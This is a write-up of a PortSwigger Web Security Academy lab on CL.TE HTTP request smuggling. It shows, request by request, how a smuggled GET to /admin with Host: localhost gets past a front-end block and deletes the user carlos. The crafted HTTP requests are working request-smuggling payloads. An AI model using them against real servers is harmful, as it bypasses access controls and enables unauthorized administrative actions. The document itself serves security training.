| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — CL.TE, Security Control Bypass |
| Difficulty | Practitioner |
| Objective | Smuggle a request to /admin to delete the user carlos |
| Note | Switch Burp Repeater to HTTP/1. Disable "Update Content-Length." |
HTTP Request Smuggling — Bypassing Front-End Security Controls (CL.TE) — Writeup¶
Navigating to /admin directly:
path /admin is blocked — the front-end is blocking it. We can't reach it from the outside. But if we can smuggle a request directly to the back-end, the front-end's block never runs.
Base request after switching to HTTP/1 and POST:
POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 0
CL.TE setup — front-end uses Content-Length, back-end uses Transfer-Encoding.
First Attempt — Smuggling GET /admin¶
POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 45
Transfer-Encoding: chunked
4
teto
0
GET /admin HTTP/1.1
Teto: teto
Send and refresh — response: Admin interface only available to local users.
The smuggled request is reaching the back-end. But the back-end has its own check: the request has to come from localhost. We need to add Host: localhost to the smuggled request.
The Duplicate Host Problem¶
Trying Host: localhost in the smuggled prefix gives: Duplicate header names are not allowed.
The outer POST already has a Host header. Without proper structure, the back-end sees two Host headers in what it thinks is one request.
The fix: give the smuggled request a complete structure — its own headers and a body — so the back-end treats it as a fully self-contained request rather than a continuation of the outer one:
POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 82
Transfer-Encoding: chunked
4
teto
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 9
teto=teto
What's happening: the outer POST's Content-Length: 82 tells the front-end to forward 82 bytes of body. The back-end processes chunked encoding — reads the 4 chunk (teto), then the 0 terminator, considers the outer POST complete. Everything after the 0 is left in the buffer and treated as a new, separate request with its own Host: localhost — no duplicate conflict.
Sending and refreshing — still no admin panel. The inner Content-Length: 9 exactly matches teto=teto, so the back-end closes the smuggled request cleanly before the next real request arrives. Inflating it to 20 makes the back-end keep reading:
GET /admin HTTP/1.1
Host: localhost
Content-Length: 20
teto=teto
Admin panel appears. Updating the smuggled path to delete carlos:
POST / HTTP/1.1
Host: 0af4009203fbcf1b80305d1a00bb0093.web-security-academy.net
Cookie: session=SX3iQ3rk9LTwXoKTXba9Mgms4LBQleTE
Content-Length: 106
Transfer-Encoding: chunked
4
teto
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 20
teto=teto
Send, refresh — 302 Found. carlos is gone.
deleting carlos will solve the lab c:
Resources¶
- PortSwigger — Exploiting HTTP request smuggling to bypass front-end security controls
- PortSwigger — HTTP Request Smuggling
- Burp Suite Professional — Repeater (HTTP/1, disable Update Content-Length)